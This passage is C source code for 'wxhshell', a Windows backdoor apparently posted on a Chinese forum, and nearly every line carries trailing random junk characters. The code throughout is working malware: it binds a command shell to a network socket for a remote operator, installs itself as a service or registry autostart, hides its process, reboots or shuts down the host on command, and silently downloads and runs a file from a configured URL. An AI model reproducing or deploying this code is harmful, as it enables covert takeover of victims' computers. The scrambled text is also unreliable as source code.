      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @j*K|+X"  
    break; (3Hz=k_  
  } ~u-DuOZ8  
  // 安装 (- `h8M  
  case 'i': { 7\>P@s  
    if(Install()) b^[Ab:`}[V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~.99H  
    else qPeaSv]W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fYrC;&n  
    break; #zflU99d  
    } F !DDlYUz.  
  // 卸载 LT7C>b  
  case 'r': { -FRMal4Pg0  
    if(Uninstall()) |[apLQ6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h"Qp e'D}  
    else &[u%ZL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cPD&xVwq>  
    break; IE7%u 92  
    } }71a3EUK  
  // 显示 wxhshell 所在路径 \ng!qN  
  case 'p': { `}t<5_  
    char svExeFile[MAX_PATH]; )Il) H  
    strcpy(svExeFile,"\n\r"); 28,Hd!{  
      strcat(svExeFile,ExeFile); VfWU-lJ  
        send(wsh,svExeFile,strlen(svExeFile),0); /J''`Tf  
    break; LpCJfQ  
    } a"7zz]XO2  
  // 重启 ~6YTm6o  
  case 'b': { cu{c:z~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m'{gO9V  
    if(Boot(REBOOT)) jeb ]3i=pw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  A [W3.$s  
    else { h9<*+T  
    closesocket(wsh); 6Ih8~Hu  
    ExitThread(0); g{|F<2rd[m  
    } \4$V ;C/n,  
    break; +i"^"/2f{  
    } .g/PWEr\I  
  // 关机 8@b,>l$  
  case 'd': { |^l17veA@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); n hT%_se4  
    if(Boot(SHUTDOWN)) mhh^kwW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P/%5J3_,  
    else { yN-o?[o  
    closesocket(wsh); X5[.X()M4  
    ExitThread(0); Qy0Zj$,Z  
    } u={A4A#  
    break; \! `k:lusa  
    } @8\7H'K"\  
  // 获取shell X#v6v)c  
  case 's': { }eKY%WU>O  
    CmdShell(wsh); TS2zzYE6Z  
    closesocket(wsh); py \KY R  
    ExitThread(0); 3|++2Z{},  
    break; |E]`rfr  
  } }Pi}? 41!  
  // 退出 M N-j$-y}  
  case 'x': { Sq<ds}o'8l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ;og[ q  
    CloseIt(wsh); olA 1,8  
    break; m2sf]-?Y  
    } ^@91BY  
  // 离开 Hs9; &C  
  case 'q': { {"rYlN7,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {&u`d.Lk2p  
    closesocket(wsh); 2!@ER i  
    WSACleanup(); hYvWD.c}  
    exit(1); ]lQLA IQ  
    break; A^L8"  
        } Y8i'=Po%,  
  } 9Rf})$o+  
  } ^9_4#Ep(  
tJ 3Hg8;  
  // 提示信息 "}|&eBH^<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +"yt/9AO  
} 5vP=Wf cW  
  } d ,"L8  
T)CEcz  
  return; i!yu%>:M  
} VbU*&{j  
Nbyc,a[o  
// shell模块句柄 xZ=6  
int CmdShell(SOCKET sock) 0,{tBo  
{ "pA24Ze  
STARTUPINFO si; yb/v?q?Fk  
ZeroMemory(&si,sizeof(si)); TyGsSc  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `4Db( ~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A#;TY:D2  
PROCESS_INFORMATION ProcessInfo; KkK !E  
char cmdline[]="cmd"; V;N'?Gu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); PR+L6DT_  
  return 0; zWA~0l.2  
} ,$oz1,Q/  
P#j>hS  
// 自身启动模式 )@\Eibt2oH  
int StartFromService(void) ABG>W>H-S  
{ rCH? R   
typedef struct RCC~#bb  
{ bnZ`Wc*5b  
  DWORD ExitStatus; b<E0|VW  
  DWORD PebBaseAddress; EJByYk   
  DWORD AffinityMask; M[:},?ah0  
  DWORD BasePriority; [&MhAzF  
  ULONG UniqueProcessId; -dO9y=?t  
  ULONG InheritedFromUniqueProcessId; .9uw@ Eq  
}   PROCESS_BASIC_INFORMATION; x2M{=MExE.  
o0 &pSCK  
PROCNTQSIP NtQueryInformationProcess; .E/NlGm[  
SbYs a  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zNh$d;(O$^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .dw;b~p  
.}*_NU   
  HANDLE             hProcess; _mG>^QI.  
  PROCESS_BASIC_INFORMATION pbi; 1)N~0)dO  
p=jIDM'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); vVfIe5+OP  
  if(NULL == hInst ) return 0; -. J@  
2;`F` }BA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \L]T|]}(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y%Wbm&h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gI5Fzk@:  
<8sy*A?0z  
  if (!NtQueryInformationProcess) return 0; Su>UXuNdE#  
O_^X:0}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); " ra C?H  
  if(!hProcess) return 0; z$]HZ#aRE  
p6*|)}T_%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dk@j!-q^  
.!2Ac  
  CloseHandle(hProcess); \0bZ1"  
JQO%-=t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ) mG  
if(hProcess==NULL) return 0; Xxmvg.Nl  
Xhk_h2F[  
HMODULE hMod; nNP{>\x;"  
char procName[255]; k<.VR"I p  
unsigned long cbNeeded; @'lO~i  
r$/.x6g//  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R1j)0b6cQ%  
R2B0?fu  
  CloseHandle(hProcess); ptCAtEO72  
];7/DM#Np  
if(strstr(procName,"services")) return 1; // 以服务启动 wPRs.(]_  
Zt{\<5j  
  return 0; // 注册表启动 )an,-EIX%  
} V+dFL9  
g| M@/D l  
// 主模块 ^hIKDc!.m  
int StartWxhshell(LPSTR lpCmdLine) 4SGF8y@WU  
{ t=6Wk4  
  SOCKET wsl; SHt#%3EU  
BOOL val=TRUE; $@}\T  
  int port=0; ZnXq+^ Z4  
  struct sockaddr_in door; jPyhn8Vw  
#h~v(Z}  
  if(wscfg.ws_autoins) Install(); 'X]m y  
2I qvd  
port=atoi(lpCmdLine); %>)&QZig/  
{z0PB] U  
if(port<=0) port=wscfg.ws_port; M hJ;)(  
EVE<LF?  
  WSADATA data; }29Cm$p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *s}j:fJ  
r<XlIi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I]B[H6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0ofl,mXW  
  door.sin_family = AF_INET; cd?arIV5  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z`97=:W  
  door.sin_port = htons(port); |@lVFEl]  
$"`9QD~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mz:t[rfs  
closesocket(wsl); r\f|r$i  
return 1; }RPeAcbU_  
} _3{,nhkf:!  
:1(UC}v  
  if(listen(wsl,2) == INVALID_SOCKET) { 7iM;X2=7}  
closesocket(wsl); %m0x]  
return 1; 69tT'U3vb$  
} _0c$SK  
  Wxhshell(wsl); V9r58hbVT  
  WSACleanup(); D-!#TN`Y  
%\n&iRwDF  
return 0; GP._C=]?c  
g"&e*fF  
}  ~hxo_&  
b/Q\ .!  
// 以NT服务方式启动 WKB@9Vfju  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /naGn@m5u  
{ 7IV:X _y  
DWORD   status = 0; y9'F D5\s  
  DWORD   specificError = 0xfffffff; ;th]/ G  
!YJ^BI    
  serviceStatus.dwServiceType     = SERVICE_WIN32; /qalj\ud  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; nM,5KHU4a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DZ9qIc}Y  
  serviceStatus.dwWin32ExitCode     = 0; TV&4m5  
  serviceStatus.dwServiceSpecificExitCode = 0; {aRZBIv  
  serviceStatus.dwCheckPoint       = 0; Vy:MK9U2  
  serviceStatus.dwWaitHint       = 0; c(y~,hN&p  
QW_QizR>|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *E-VS= #  
  if (hServiceStatusHandle==0) return; K`d3p{M  
:.,3Zw{l  
status = GetLastError(); Hxm CKW!  
  if (status!=NO_ERROR) YvP u%=eF  
{ {<_9QAS  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T2$V5RyX  
    serviceStatus.dwCheckPoint       = 0; hm5A@Z   
    serviceStatus.dwWaitHint       = 0; )xMP  
    serviceStatus.dwWin32ExitCode     = status; 8;r7ksE~  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q, !b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); >5|;8v-r  
    return; RZ:i60  
  } @`X-=GCl  
;<yVJox  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .$,.w__m ~  
  serviceStatus.dwCheckPoint       = 0; m#oZu {  
  serviceStatus.dwWaitHint       = 0; I;!zZ.\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jt/ |u=  
} G?OwhX  
9u\&kQxqD  
// 处理NT服务事件,比如:启动、停止 BkTGH.4G%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fP9k(mQX  
{ fDa$TbhjI  
switch(fdwControl) .C2.j[>  
{ \I4*|6kA  
case SERVICE_CONTROL_STOP: ;_^ "}  
  serviceStatus.dwWin32ExitCode = 0; (n~ e2tZ/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 i |_PP_  
  serviceStatus.dwCheckPoint   = 0; ;7]Q'N  
  serviceStatus.dwWaitHint     = 0; u/h!i@_w[  
  { jKcnZu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Rp'ju~O)/  
  } K)!?np{km  
  return; #^bkM)pc  
case SERVICE_CONTROL_PAUSE: [@qUQ,Ie  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bh8IF,@a  
  break; 32f lOi:  
case SERVICE_CONTROL_CONTINUE: Odo"S;)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -;?5<>zZ  
  break; w]{NaNIeq1  
case SERVICE_CONTROL_INTERROGATE: }0({c~z\  
  break; ]bq<vI%  
}; 8'2lc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +c699j;[  
} <p'~$vK  
wghz[qe  
// 标准应用程序主函数 3psCV=/z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &!3=eVg  
{ 3d{v5. C#X  
Y.Er!(pz  
// 获取操作系统版本 jnK8 [och  
OsIsNt=GetOsVer(); kd9GHN;7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ge|& H]W  
1{ -W?n  
  // 从命令行安装 _cZ`7 ]Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); s'V8PN+-  
:95wHmk  
  // 下载执行文件 NAj1ORy4pX  
if(wscfg.ws_downexe) { s68EzFS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .~4>5W"u  
  WinExec(wscfg.ws_filenam,SW_HIDE); `O5kI#m)L*  
} TXi$Q%0W  
*XmOWV2Y_  
if(!OsIsNt) { +|OkT  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bu'PDy~W,  
HideProc(); / 4K*iq  
StartWxhshell(lpCmdLine); #lax0IYY=  
}  {Y9m;b,X  
else c 25wm\\  
  if(StartFromService()) W?"Z>tgp  
  // 以服务方式启动 yD`{9'L -  
  StartServiceCtrlDispatcher(DispatchTable); cz/mUU  
else v UAYYe  
  // 普通方式启动 4 []R?lL  
  StartWxhshell(lpCmdLine); U4_ <  
*HmL8c  
return 0; O,_2dj d  
}
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只看该作者 1 发表于: 2006-10-10
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